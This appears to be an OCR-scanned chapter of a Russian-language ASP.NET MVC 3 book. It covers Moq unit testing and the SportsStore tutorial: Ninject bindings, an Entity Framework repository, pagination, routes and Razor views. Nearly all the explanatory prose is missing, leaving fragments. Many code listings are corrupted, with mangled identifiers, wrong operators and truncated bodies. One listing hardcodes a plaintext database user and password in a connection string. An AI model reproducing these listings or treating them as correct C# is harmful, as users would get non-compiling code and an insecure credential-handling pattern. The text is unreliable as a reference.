. Moq, , P rocessM essa ge
, M essage r e c e iv e d
( ). , I t ,
. 6.3.
6.3. I t
Is<T>()
(.
6.30)
IsAny<T>()
IsInRange<T>
IsR egex
Is<T> , ,
, tru e ,
6.30.
6.30. I t
mock.Setup(m => . P rocessM essa ge(It. Is < s trin g > (s => s == " h e llo " I I s == " b y e " )))
.R etu rn s( "Message r e c e i v e d " ) ;
Moq, Message r e c e iv e d ,
s t r i n g h e l l o bye.
,
.
R etu rn s Setup . ,
R etu rn s,
.
6.31.
6.31.
mock.Setup(m => m .P ro c e s s M e s s a g e (It. Is A n y < s trin g > ( ) ) )
. R etu rn s< strin g> (s => s t r i n g . Form at("Message r e c e iv e d : { 0 ) " , s ) ) ;
148
I. ASP.NET MVC 3
R e t u r n s
, . Moq
- ,
.
Moq
,
Moq, , ,
. ,
Mock.Object. Moq
C o r rect_Total_Reduction_Amount 6.3 2 .
6.32. Moq
[TestMethod]
public void Correct_Total_Reduction_Amount() {
//
Product[] products = new Product!] {
"new Produ c t O ( Name = "Kayak", Price = 27 5M],
new Produ c t O { Name = "Lifejacket", Price = 48.95M},
new Produ c t O { Name = "Soccer ball", Price = 19.50M),
new Produ c t O { Name = "Stadium", Price = 79500M)
};
Mock<IProductRepository> mock = new Mock<IProductRepository>();
m o c k .Setup(m => m .GetProducts()).Returns(products);
decimal reductionAmount = 10;
decimal initialTotal = products.Sum(p => p.Price);
MyPriceReducer target = new MyPriceReducer(mock.Object) ;
//
target.ReducePrices(reductionAmount);
//
Asse r t .AreEqual(products.Sum(p => p.Price),
(initialTotal - (products.Count () * reductionAmount)));
}
, ,
IProductRepository. .
G e t P r o d u c t s ,
.
Moq 6 .3 2
,
, V is u a l Stu d io, .
.
Product, ,
6 .3 3 .
6.33.
[TestClass]
public class MyPriceReducerTest {
private IEnumerable<Product> products;
[Testlnitialize]
6. , MVC
149
};
}
,
products Visual Studio
. Visual Studio ,
Testlnitialize. ,
. ,
prod u c t s .
, Visual Studio, . 6.4.
Classlnitialize
ClassCleanup
Testlnitialize
TestCleanup
, , ,
Visual Studio . Testlnitialize
:
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.GetProducts()).Returns(products);
Moq
.
Moq ,
.
Moq
,
U p d a t e P r o d u c t Product.
F a k e R e p o s i t o r y
UpdateProduct.
, Moq, 6.34.
6.34.
//
target.ReducePrices(reductionAmount);
150
I. ASP.NET MVC 3
//
foreach (Product in products)
mock.V erify (m
=> m .U p d a t e P r o d u c t ( p ) ,
, , U p d a t e P r o d u c t
Product.
, ,
, .
,
MVC Ninject,
Visual Studio 2010 Moq.
, , .
- ,
.
, , TDD
, DI
. , .
. ,
,
, .
SportsStore:
, MVC.
MVC
C# , MVC.
'.
, SportsStore, ,
.
, ,
, , ,
, .
, , ,
(create, read, update, delete CRUD) ,
,
.
, . ,
,
.
. ,
Web Forms,
.
MVC , ,
,
. .
MVC
, .
,
MVC.
, .
. , -
(TDD),
, .
, , SportsStore
. ASP.NET MVC,
- .
152
I. ASP.NET MVC 3
MVC,
, .
, ,
, ,
.
, , ,
MVC .
.
.
, Add View
( ) .
SportsStore
,
. 2. SportsStore
, .
,
.
, .
,
, - .
Visual Studio
Visual Studio .
, MVC,
. , ,
Blank S olution ( ) Visual Studio,
Other Project Types^Visual S tudio Solutions ( 1
^ Visual Studio)
New Project ( ), . 7.1.
. 7 .1 .
7. SportsStore:
153
SportsStore , .
.
. 7.1.
7.1. S p o r ts S to r e
Visual Studio
SportsStore.Domain
C # Class Library (
#)
,
,
Entity Framework
SportsStore.WebUI
A S P .N E T M VC 3 W eb Application
(- ASP.NET MVC 3)
(
,
Em pty
Razor
)
,
S p o rtsS to re
Test Project ( )
n
SportsStore.UnitTests
, S p o r t s S t o r e
Solution Explorer ( ), A dd^N ew Project
(^ ), , .
Test Project Test Projects ( ), Test
() Visual #, . 7.2.
Visual Studio ,
: Classl.cs SportsStore .Domain UnitTestl.cs
SportsStore.UnitTests. Solution Explorer ,
. 7.3.
, SportsStore.
WebUI Set as Startup Project (
) ( ). ,
Start Debugging ( )
Start without Debugging ( ) Debug ().
. 7 .2 .
154
I. ASP.NET MVC 3
. 7 .3 . ,
S o lu tio n E x p lo re r
,
. Package Manager Console
( ) Visual Studio (View^Other Windows1^ Package Manager
Console ( ^ ))
. ,
<>.
Install-Package
Install-Package
Install-Package
Install-Package
Ninject Moq -,
, . 7.2.
, .
7.2.
SportsStore.Domain
SportsStore.WebUI
N inject
SportsStore.Domain
SportsStore.UnitTests
N inject
Moq
SportsStore.Domain
SportsStore.WebUI
Solution Explorer,
Add Reference ( )
.
DI
MVC
(dependency injection DI) Ninject.
.
7. SportsStore:
155
! ( )
using .
,
, . , Visual Studio
The type or name s p a c e Product could
not be found (He Product),
, using SportsStore.
Domain.Entities .
, , <Ctrl+.>. Visual Studio
, , ,
using.
, .
7.1. N i n j e c t C o n t r o l l e r F a c t o r y
using
using
using
using
System;
System.Web.Mvc;
System.Web.Routing;
Ninject;
)
protected override IController GetControllerlnstance(
RequestContext requestContext, Type controllerType) {
return controllerType == null
? null
: (IController)ninjectKernel.Get(controllerType);
}
private void AddBindings() (
//
}
}
}
Ninject.
AddBindings. ,
NinjectController.
, 7.2 , Applicat.ion_Start
Global.asax.cs SportsStore.WebUI.
156
I. ASP.NET MVC 3
Start D ebugging ( ) Debug (),
. , URL-,
, Ninject (. 7.4).
The ICortrollerFactory 'SportsStore. WebUIlnfrastructufe.NnjectControllerFactorY' did not return a contr.~ * X :
URb i http://bcalhost:23081/
-q
The IC ontrollerFactory
'SportsStore. W ebUI.Infrastructure. N injectControllerFactory'
did n o t return a controller fo r the name 'Home'.
D escrip tion : An unhandled exception occurred during the execution of the current web request. Please review the
stack trace for more information about the error and where It originated in me code.
"if"?
''"j
. 7 .4 .
, ,
Visual Studio 2010 ASP.NET MVC , .
Internet Explorer, ,
. Visual Studio
Stop D ebugging ( ) Debug.
. 7 .5 .
D e bu g Visual
Studio
.
. ,
,
ASP.NET D evelopm ent S erver (
ASP.NET)
Open in W eb B row ser (
), . 7.5.
,
. Visual Studio,
<F6> B u ild ^ B u ild Solution (^ ),
-,
7. SportsStore:
157
.
MVC
,
.
,
,
. E n t i t i e s
S p o rtsS to re.D o m a in ,
C# P ro d u ct. S o lu tio n
E x p lo re r . 7.6.
P rodu ct,
,
.
,
. P rodu ct,
7.3.
. 7.6.
Product
7.3. P r o d u c t
namespace SportsStore.Domain.Entities {
public class Product {
public int ProductID { get; set; }
public string Name { get; set; }
public string Description { get; set; }
public decimal Price { get; set; }
public string Category { get; set; }
}
)
Visual Studio, ,
public. ,
.
- Pro d u c t .
4,
.
,
.
S p o r t s S t o r e . D o m a i n
Abstract, IProductsRepository,
7.4. ,
Abstract, Add^New Item (^
) Interface.
158
I. ASP.NET MVC 3
7 .4 . I P r o d u c t R e p o s i t o r y
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract (
public interface IProductRepository {
IQueryable<Product> Products { get; }
IQueryable<T>,
Product, ,
, . ,
IProductRepository, Product, ,
. .
,
.
, , ,
.
. ,
I P r o d u c tRepository.
A d d B i n d i n g s NinjectControllerFactory,
7.5.
7.5.
IP ro d u c t R e p o s ito ry
private void AddBindings () {
// IProductRepository
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new List<Product> {
new Product { Name = "Football", Price = 25 },
new Product { Name = "Surf board", Price = 179 ),
new Product { Name = "Running shoes", Price = 95 }
} .AsQueryable ()) ;
ninj ectKernel.Bind<IProductRepository>() .ToConstant(mock.Object);
}
Visual Studio ,
, using,
System.Linq AsQueryable.
.
, ,
M VC
Framework.
, .
7. SportsStore:
159
,
, .
,
. ,
MVC ,
, .
Controllers SportsStore.
WebUI Add^Controller (^).
P r o d u c t C o n t r o l l e r ,
Template () Empty controller ( ).
Visual Studio ,
,
7.6.
7.6. P r o d u c t C o n t r o l l e r
using System.binq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.W e b U I .Controllers {
public class ProductController : Controller {
private IProductRepository repository;
public ProductController(IProductRepository productRepository)
repository = productRepository;
)
, , I P r o d u c t
Ninject
. L i s t ,
, ,
7.7.
R epository.
7.7.
using
Sy ste m .L in q ;
using
S y s t e m .W e b . Mvc;
using
S p o r t s S t o r e . D o m a in .A b stra c t;
namespace S p o r t s S t o r e . W e b U I . C o n t r o lle r s
public
class
private
public
ProductController
IProductRepository
: Controller
}
public ViewResult List() {
return View(repository.Products);
}
}
repository;
{
160
I. ASP.NET MVC 3
, , 3, View (
) ,
. View Produ ct,
, M odel
.
,
L is t . L i s t
Add View ( ).
L i s t Create a strongly-typed view (
), . 7.7.
. 7 .7 . L i s t
IEnumerable<SportsStore.Domain.Enti ties.
P r o d u c t x
, . ,
,
Razor, Use a layout or master page (
-), (. . 7.7).
Add (), .
, I E n u m e r a b l e < P r o d u c t > ,
, , foreach Razor,
7.8.
7.8. L i s t . c s h t m l
@model IEnumerable<SportsStore.Domain.Entities.Product>
@{
ViewBag.Title = "Products";
7. SportsStore:
161
<h3>0p.Name</h3>
MVC Framework,
(h ttp :/ / m ysite/ )
L i s t P r o d u c t C o n t r o lle r .
R e g is te r R o u te s G lo b a l.a s a x .c s ,
7.9.
7.9.
p u b lic s t a t i c v o id R e g is te rR o u te s (R o u te C o lle c tio n ro u tes)
r o u t e s . Ig n o re R o u te ( " { re s o u r c e } . axd/{ * p a th In fo } " ) ;
6 . 4039
1 62
I. ASP.NET MVC 3
, .
, U R L - .
,
. ,
,
. , ,
. 7.8.
. 7.8.
ASP .N E T M V C
Framework .
,
.
, ,
- ,
IP ro d u ctR ep o sito ry . ,
.
S Q L Server,
Entity Framework (EF) O R M - .NETT.
O R M ,
, #. 4 , LINQ
, Entity Framework.
, .
,
.
, ,
.
O R M ,
, .
Entity Framework . -,
. -, LINQ,
LINQ. -, .
,
.
7. SportsStore:
163
, ,
,
, Visual Studio.
S erve r E xplorer ( ) {. 7.9),
S erver E xplorer View ().
Data Connections
( )
. 7.9. Server
Create New Database ( ).
E xplorer
SportStore . SQL Server
, ,
ASQLEXPRESS, . 7 .1 0 .
. 7.10.
, . Server Explorer ,
.
,
P r o d u c t . Server
Explorer
, Table
(),
. Add
New Table ( ),
. 7.11.
. , . 7.12.
A l l o w
N u l l s ( n u l l ) .
. 7 .1 1 .
164
I. ASP.NET MVC 3
. 7.12.
P r o d u c t ID
Set Primary Key ( ).
, . 7.12.
P r o d u c t ID
Properties (). Properties ()
I d e n t i t y Colum n ( ) P r o d u c t ID .
-
_ _ _ _ _
.
-
, .
,
SQL Server .
<Ctrl+S> .
, . 7.13. P r o d u c t s
, .
. 7.13.
,
, , 9.
Solution Explorer T a b l e s () S p o r t s S t o r e ,
P r o d u c t s
Show Table Data ( ). ,
. 7.14. <>.
! P r o d u c t I D . ,
SQL Server
<>.
7. SportsStore:
165
. 7.14. Products
Entity Framework
Entity Framework 4.1 ,
. , ,
.
, ,
.
" ",
. , Entity Framework 4.1
SportsStore.Domain. MVC 3 Tools Update ( MVC 3).
2, Entity Framework 4.1
MVC Framework,
.
R e f e r e n c e s ()
Add Library Package Reference (
). ,
EntityFramework, . 7.15, Install
(). Visual Studio Entity Framework.
. 7 .1 5 . EntityFramework
166
I. ASP.NET MVC 3
,
. E F D b C o n t e x t Concrete,
, 7.10.
7.10. E fD b C o n te x t
public class EFDbContext : DbContext {
public DbSet<Product> Products { get; set; }
}
" ", ,
System.Data.Entity.DbContext.
, .
, DbSet , Entity Framework
.
Products, Product. ,
Product Products.
Entity Framework , ,
Web.config SportsStore.WebUI
, ,
7.11.
7.11.
<configuration>
<connectionStrings>
<add name="EFDbContext" connectionString="Data Source=TITAN\SQLEXPRESS;Initial
Catalog=SportsStore;Persist Security Info=True;User ID=adam;Password=adam"
providerName="System.Data.SqlClient"/>
TITAN .
SQL Server Express,
, 7.12.
, name
, Entity Framework ,
.
7. SportsStore:
167
P ro d u ct
C o n c r e t e S p o r t s S t o r e . D o m a i n
E F P r o d u c t R e p o s i t o r y . 7.13.
IProductRepository.
7.13. E F P ro d u c tR e p o s to r y .c s
using
S y s te m .L in q ;
using
S p o r ts S to r e . Dom ain.A b s tr a c t ;
using S p o r ts S to r e . D o m a in .E n titie s;
namespace S p o r t s S t o r e . D o m a in .C o n c r e te
public
class
private
public
get
EFProductRepository
: IProductRepository
E F D b C o n t e x t c o n t e x t = new E F D b C o n t e x t ( ) ;
IQueryable<Product>
{ return
Products
context. Products;
. I P r o d u c t R e p o s i t o r y
E F D b C o n t e x t
Entity Framework.
, Entity Framework (
).
Ninject
. N i n j e c t C o n t r o l l e r F a c t o r y
S p o r t s S t o r e .W eb U I,
AddBindings
7.14.
7.14.
p r i v a t e v o i d A d d B i n d i n g s ()
//
ninjectKernel.Bind<IProductRepository>().To<EFProductRepository>();
1
. Ninject,
E F P r o d u c t R e p o s i t o r y
I P r o d u c t R e p o s i t o r y . .
. 7.16, . ,
, .
. 7 .1 6 .
1 68
I. ASP.NET MVC 3
. 7.16 , , ,
.
, ,
.
List Product ,
7.15.
7.15.
L i s t P r o d u c t
using System.Linq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.WebUI.Controllers {
public class ProductController : Controller {
p u b l i c int PageSize = 4 ; //
private IProductRepository repository;
public ProductController(IProductRepository repoParam)
repository = repoParam;
}
public ViewResult L i s t (int page = 1) {
return View(repository.Products
.OrderBy(p => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize));
}
}
}
. PageSize ,
.
.
List. ,
(ListO) , ,
(List (1)). ,
. LINQ
. List Product ,
, ,
, ,
PageSize.
:
,
, ProductController, List,
. Prod u c t
, .
6. :
7. SportsStore:
169
[TestMethod]
public void Can_Paginate() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"},
new Product {ProductID = 2, Name = "P2"},
new Product {ProductID = 3, Name = "P3"},
new Product {ProductID = 4, Name = "P4"},
new Product {ProductID = 5, Name = "P5"}
}.AsQueryable());
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
IEnumerable<Product> result = (IEnumerable<Product>)controller.List(2).Model;
//
Product! [] prodArray = result.ToArray () ;
A s s e r t .IsTrue (prodArray .Length === 2);
Assert.AreEqual(prodArray[0].Name, "P4");
A sse r t .AreEqual(prodArray[1].Name, "P5");
)
, ,
. M o d e l ,
l E n u m e r a b l e < P r o d u c t > , List. ,
, .
.
, ,
. ,
URL , :
h t t p ://localhost:23081/?page=2
URL ,
ASP.NET. ,
.
, .
,
, ,
.
,
.
HTML, Html.TextBoxFor
Html.BeginForm, 3.
HTML- .
170
I. ASP.NET MVC 3
HTML,
,
.
, 4.
Models SportsStore.WebUI Paginglnfo,
7.16.
7.16. P a g in g ln fo
using System;
namespace SportsStore.W e b U I .Models {
public class Paginglnfo {
public int Totalltems { get; set; }
public int ItemsPerPage { get; set; }
public int CurrentPage { get; set; }
public int TotalPages {
get { return (int)M a t h .Ceiling((decimal)Totalltems / ItemsPerPage);
}
}
.
. ,
SportsStore.WebUI
.
HTML
, ,
HTML, PageLinks. SportsStore .WebUI
H t m l H e l p e r s PagingHelpers.
7.17.
7.17. P a g in g H e lp e r s
using
using
using
using
System;
System.Text;
System.Web.Mvc;
SportsStore.WebUI.Models;
7. SportsStore:
171
if (i == paginglnfo.CurrentPage)
t a g .AddCssClass ("selected");
result.A p p e n d (t a g .ToString());
)
return MvcHtmlString.Create(result.ToString());
}
}
}
P a g e L i n k s HTML-
, , Paginglnfo.
Func ,
, .
:
PageLinks,
HTML-.
Bnrf
[TestMethod]
public void Can_Generate_Page_Links() (
// - HTML -
// ,
HtmlHelper myHelper = null;
// - Paginglnfo
Paginglnfo paginglnfo = new Paginglnfo {
CurrentPage = 2,
Totalltems = 28,
ItemsPerPage = 10
);
// - -
Func<int, string> pageUrlDelegate = i => "Page" + i;
//
MvcHtmlString result = myHelper.PageLinks(paginglnfo, pageUrlDelegate);
//
A s s e r t .AreEqual (resuit.ToString(), 0 "<a href=""Pagel"">K/a>
<a class=""selected"" href=""Page2"">2</a><a href="""">3</a>");
)
, . C# .
@
( " " ) . ,
, , ,
. , , ,
- .
.
, ,
.
u sin g, Razor
172
I. ASP.NET MVC 3
W e b . c o n f i g @ u s i n g
. , R azo r M VC
W eb .config:
, Views.
V i e w s / W e b . c o n f i g , 7.18.
7.18. HTML-
V ie w s /W e b .c o n fig
< s y s t e m . w e b . w e b P a g e s .razor>
<h ost fa ct o r Ty pe =" S ys t e m . W e b . M v c . M v c W e b R a z o r H o s t F a c t o r y , System.Web.Mvc,
V e r s i o n = 3 .0.0.0, Culture=neutral, P u b l i c K e y T o k e n = 3 1 B F 3 8 5 6 A D 3 6 4 E 3 5 " />
<pages p a g e B a s e T y p e = " S y s t e m . W e b .M v c .W e b Vi ew Pa g e" >
< n a m e sp ac es >
O d d n a m e s p a c e = " S y s t e m . W e b . M v c " />
O d d n a m e s p a c e = " S y s t e m . W e b .M vc.Ajax" />
O d d n a m e s p a c e = " S y s t e m . W e b .M v c .Html" />
O d d n a m e s p a c e = " S y s t e m . W e b .Routing" />
O d d namespace="SportsStore.WebUI.HtmlHelpers"/>
</ n S m e s p a c e s >
,
Razor, ,
gusing.
HTML. P a g i n g l n f o .
V i e w D a t a Vi e wB ag ,
.
,
, .
P r o d u c t s L i s t V i e w M o d e l M o d e l s S p o r t s S t o r e .WebUI.
7.19.
7.19. P r o d u c ts L is tV ie w M o d e l
using S y s t e m . C o l l e c t i o n s .Generic;
using S p o r t s S t o r e .D o m a i n .Entities;
name sp a ce S p o r t s S t o r e . W e b U I . M o d e l s {
pu blic class P r o d u c t s L i s t V i e w M o d e l {
p u b l i c I En u m e r a b l e < P r o d u c t > Products { get; set;
p ub l i c P a g i ng ln f o Pa gi ng l nf o { get; set; }
)
L i s t P r o d u c t C o n t r o l l e r ,
P r o d u c t s L is t V ie w M o d e l
, , (.
7.20).
7. SportsStore:
173
7 .2 0 . L i s t
public ViewResult List(int page = 1) {
ProductsListViewModel viewModel = new ProductsListViewModel {
Products = repository.Products
.OrderBy(p => p.ProductlD)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = repository.Products.Count
)
);
return View(viewModel);
ProductsListViewModel
.
:
,
. ,
.
[TestMethod]
public void Can_Send_Pagination_View_Model() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"),
new Product {ProductlD = 3, Name = "P3"},
new Product {ProductlD = 4, Name = "P4"},
new Product {ProductlD = 5, Name = "P5"}
}.AsQueryable () ) ;
//
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
ProductsListViewModel result =
(ProductsListViewModel)controller.List(2).Model;
/,/
Paginglnfo pagelnfo = result.Paginglnfo;
Ass e r t .AreEqual(pagelnfo.CurrentPage, 2);
Ass e r t .AreEqual(pagelnfo.ItemsPerPage, 3) ;
Ass e r t .AreEqual(pagelnfo.Totalltems, 5) ;
Assert.AreEqual(pagelnfo.TotalPages, 2) ;
174
I. ASP.NET MVC 3
,
Can_Paginate. List,
ViewResult, Mod e l Product,
.
:
[TestMethod]
public void Can_Paginate() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] (
new Product (ProductID = 1, Name = "PI"),
new Product {ProductID = 2, Name = "P2"),
new Product {ProductID = 3, Name = "P3"},
new Product {ProductID = 4, Name = "P4"},
new Product {ProductID = 5, Name = "P5"}
) .AsQueryable () ) ;
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
ProductsListViewModel result =
(ProductsListViewModel)controller.L i s t (2).Model;
//
Product[] prodArray = result.Products.ToArray();
Asse r t .IsTrue(prodArray.Length == 2);
Assert.AreEqual(prodArray[0].Name, "P4") ;
Assert-AreEqual(prodArray[1].Name, "P5");
)
, ,
. ,
, , ,
.
Product,
L ist.c sh tm l , 7.21,
.
7.21. L i s t . c s h t m l
gmodel SportsStore.WebUI.Models.ProductsListViewModel
@{
ViewBag.Title = "Products";
)
@foreach (var p in Model.Products) {
<div class="item">
<h3>@p.Name</h3>
0 p .Description
<h4>@p.Price.ToString("c")</h4>
</div>
7. SportsStore:
175
0 m o d e l Razor ,
. f o r e a c h ,
P r o d u c t s .
L i s t .
, ,
, ,
@ m o d e l , .
HTML ,
7.22.
7,22. HTML
Smodel S p o r t s S t o r e . W e b U I . M o d e l s . P r o d u c t s L i s t V i e w M o d e l
@{
View Bag. T itle
= "Products";
)
Sforeach
(var p in M o d e l . P ro ducts)
}
<div class="pager">
@Html.PageLinks(Model.Paginglnfo, x => Url.Action("List", new {page = x}))
</div>
, ,
(. 7.17). ,
. ,
, .
. 7 .1 7 .
176
I. ASP.NET MVC 3
G r id v ie w ?
ASP.NET, ,
.
, . Web Forms,
G r id v ie w
ASP.NET Web Forms, P r o d u c t s .
, , ,
G r id v ie w . -,
,
.
G r id v ie w ,
, ,
. -, ,
,
G r id v ie w Web Forms.
, , ,
, . ,
, , ,
,
.
URL
, -
, :
http://localhost/?page=2
, ,
URL. URL URL, ,
:
h t t p : / /lo c a lh o s t/P a g e 2
, MVC URL,
ASP.NET.
R e g is t e r R o u t e s G l o b a l . a s a x .c s ,
7.23.
7.23.
public
routes)
null,
//
"Pa g e {p a g e }",
new { Controller = "Product", action = "List" }
);
routes.MapRoute(
"D e fau lt",
//
//
URL
new
);
}
{ controller = "Product",
id = U rlParam eter.Optional
7. SportsStore:
177
D e f a u lt .
11, , ,
, .
, ,
U R L . M VC Fram ew ork
, ,
, U r l . A c t i o n (
L i s t . c s h t m l ).
,
11. - ,
U R L (. 7.18).
. 7.18. URL,
,
,
. - CSS,
SportStore , .
.
! CSS .
CSS, Pro CSS and HTML Design
Patterns (Michael Bowers) (Apress, 2007) Beginning HTML with CSS and HTML
(David Schultz) (Craig Cook) (Apress, 2007).
,
, . 7.19.
. 7 .1 9 . SportsStore
R a zo r - A S P X .
,
, .
R azor 5.
178
I. ASP.NET MVC 3
L is t .c s h t m l P ro d u ct
Use a layout o r m aster page ( -), , , .
, _ L a y o u t.c s h tm l,
View s/Shared S p ortsS tore.W eb U I.
, 7.24.
7.24. Razor,
< ! DOCTYPE html>
<html>
<head>
0RenderBody()
</div>
</body>
</html>
CSS
HTML-, 7.24,
ASP.NET MVC. . ,
, . ,
, CSS.
Visual Studio CSS- , .
S it e .c s s Content S p ortsS tore.W eb U I.
_Layou t .csh tm l , :
< lin k h re f= "@ U r l. C o n te n t("'/ C o n te n t/ S ite . c s s " ) " r e l= " s t y le s h e e t "
ty p e = "te x t/ c s s " />
. , CSS JavaScript 7.24
@ U rl.Content. ASPX,
Razor (~)
, .
S it e .c s s 7.25
( S it e .css).
. CSS
.
7. SportsStore:
179
7 .2 5 . CSS
BODY { font-family: Cambria, Georgia, "Times New Roman"; margin: 0; }
DIV#header DIV.title, DIV.item H3, DIV.item H4, DIV.pager A {
font: bold lem "Arial Narrow", "Franklin Gothic Medium", Arial;
}
DIVtheader { background-color: #444; border-bottom: 2px solid #111; color: White; }
DIV#header DIV.title { font-size: 2em; padding: .6em; }
DIV#content { border-left: 2px solid gray; margin-left: 9em; padding: lem; }
DIV#categories { float: left; width: 8em; padding: .3em; }
DIV.item { border-top: lpx dotted gray; padding-top: ,7em; margin-bottom: .7em; }
DIV. item:first-child ( border-top:none; padding-top: 0; }
DIV.item H3 { font-size: 1.3em; margin: 0 0 .25em 0; }
DIV.item H4 { font-size: 1.lem; margin:.4em 0 0 0; )
DIV.pager { text-align:right; border-top: 2px solid silver;
padding: .5em 0 0 0; margin-top: lem; )
DIV.pager A { font-size: l.lem; color: #666; text-decoration: none;
padding: 0 .4em 0 .4em; }
DIV.pager A:iover { background-color: Silver; }
DIV.pager A. selected { background-color: #353535; color: White; }
, ,
, . . 7.20.
. 7 .2 0 . SportStore
,
List.cshtml. ,
, .
, , ,
.
,
/Views/Shared SportsStore.WebUI
Add=>View (^).
ProductSummary. ,
Product Model class ( )
. Create as a partial view (
), . 7.21.
180
I. ASP.NET MVC 3
. 7.21.
Add () Visual Studio
V i e w s / S h a r e d / P r o d u c t S u m m a r y . c s h t m l .
,
HTML-, HTML-.
ProductSummary, ,
,
Product. , 7.26.
7.26. P rod u ctS u m m ary
@model SportsStore.Domain.Entities.Product
<div class="item">
<h3>0Model.Name</h3>
@Model.Description
<h4>@Model.Price.ToString("c")</h4>
</div>
Views/Products/List.cshtml ,
. 7.27.
7.27. L i s t . c s h t m l
Omodel SportsStore.WebUI.Models.ProductsListViewModel
@{
ViewBag.Title = "Products";
}
@foreach (var p in M o d e l .Products) {
H t m l .RenderPartial("ProductSummary", p) ;
}
<div class="pager">
@Html.PageLinks(Model.Paginglnfo, x => Url.Action("List", new {page = x}))
</div>
7. SportsStore:
181
, foreach
L i st.cshtml, .
Html . R e n d e r P a r t i a l .
.
. RenderPartial HTML-,
.
, #,
. HTML-
, .
, Html.Partial,
, RenderPartial, HTML-
: 0Html.Partial("ProductSummary", ).
, ,
, . ,
(. 7.22).
*
. 7 .2 2 .
SportsStore.
, , " "
,
SQL Server Entity Framework.
, ProductController,
, (D I)
URL.
,
. , ,
: ,
.
SportsStore:
SportsStore.
.
.
, MVC Framework.
SportsStore ,
.
.
List ProductController,
Product .
URL .
, ,
,
.
ProductsListViewModel.
,
, . 8.1
.
8.1. P r o d u c ts L is tV ie w M o d e l
using System.Collections.Generic;
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Models (
public class ProductsListViewModel (
public IEnumerable<Product> Products { get; set; }
public Paginglnfo Paginglnfo { get; set; }
public string CurrentCategory { get; set; }
}
}
8. SportsStore:
183
ProductsListViewModel CurrentCategory.
ProductController,
List Product
,
. 8.2.
8.2. L i s t
public ViewResult L i s t (string category, int page = 1) {
ProductsListViewModel viewModel = new ProductsListViewModel {
Products = repository.Products
.Where(p => category == null | | p.Category == category)
.OrderBytp => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = repository.Products.Count ()
b
CurrentCategory = category
};
return View(viewModel);
}
.
category. ,
LIN Q category null, ,
Product, Category. , ,
CurrentCategory,
ProductsListViewModel.
Totalltems .
:
List,
. ,
null List ,
. , Can_Send_Pagination_View_Model
:
ProductsListViewModel result =
(ProductsListViewModel)controller.List(null, 2 ) .Model;
null Product,
, .
.
:
h t t p ://localhost:2 3081/?category=Soccer
Soccer (. 8.1).
184
I. ASP.NET MVC 3
. 8.1.
:
,
.
.
[TestMethod]
public void Can__Filter_Products () {
//
Mock<IProductRepository> mock = new Mock<IProductRepository> () ;
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Catl"),
new Product (ProductID = 2, Name = "P2", Category = "Cat2"},
new Product (ProductID = 3, Name = "P3", Category = "Catl"},
new Product (ProductID = 4, Name = "P4", Category = "Cat2"},
new Product (ProductID = 5, Name = "P5", Category = "Cat3"}
}.AsQueryable());
//
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
Product!] result =
((ProductsListViewModel)controller.List("Cat2", 1).Model).Products.ToArray();
//
Asse r t .AreEqual(result.Length, 2) ;
Asse r t .IsTrue(result[0].Name == "P2" && result[0].Category == "Cat2");
Asse r t .IsTrue(result[1].Name == "P4" && result[1].Category == "Cat2");
}
, P r o d u c t ,
.
,
.
8. SportsStore:
185
URL
URL /?categor y=Soccer.
,
URL, ( ).
RegisterRoutes Global.asax,
8.3.
8.3. URL
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("{resource}.axd / {*pathInfo}");
routes.MapRoute(null,
// URL (.. /)
new {
controller = "Product", action = "List",
category = (string)null, page = 1
}
);
routes.MapRoute (null,
"Page{jfage)", // /Page2, /Pagel23, /PageXYZ
new { controller = "Product", action = "List", category = (string)null },
new { page = 0"\d+" ) // :
);
routes.MapRoute(null,
"{category}", // /Football /AnythingWithNoSlash
new { controller = "Product", action = "List", page = 1 }
);
routes.MapRoute(null,
"{category)/Page{page}", // /Football/Page567
new { controller = "Product", action = "List" }, //
new { page = @"\d+" } // :
)}
routes.MapRoute(null, " {controller}/ {action}");
! 8.3 .
, ,
.
. 8.1 URL, .
11.
8.1.
URL
/2
( 2),
/Soccer
( Soccer)
/Soccer/Page2
( 2)
(Soccer)
/Anything/Else
Else Anything
186
I. ASP.NET MVC 3
ASP.NET MVC
, URL,
-.
URL .
! 11 ,
.
U rl.Action
.
List.cshtml . ,
,
, 8.4.
8.4.
@model SportsStore.WebUI.Models.ProductsListViewModel
@{
ViewBag.Title = "Products";
}
@foreach (var p in M o d e l .Products) {
H t m l .RenderPartial("ProductSummary", p) ;
}
<div class="pager">
SHtml.PageLinks(Model.Paginglnfo, x => Url.Action("List",
new {page = x, category = Model .CurrentCategory)) )
</div>
ht t p ://<>:<>/2
,
, ,
. , ,
URL :
ht t p ://<>:<nopT>/Chess/Page2
,
List . URL
/Chess /Soccer
.
.
,
.
,
.
ASRNET MVC Framework ,
,
8. SportsStore:
187
.
HTML RenderAction,
.
( NavController) (
Menu),
.
,
.
,
MVC Framework.
Controllers SportsStore .WebUI
A d d ^ C o n tr o lle r (1^ ).
N a v C o n t r o l l e r ,
T e m p la te ( ) E m p ty c o n tro lle r ( )
A d d () .
Index, Visual Studio ,
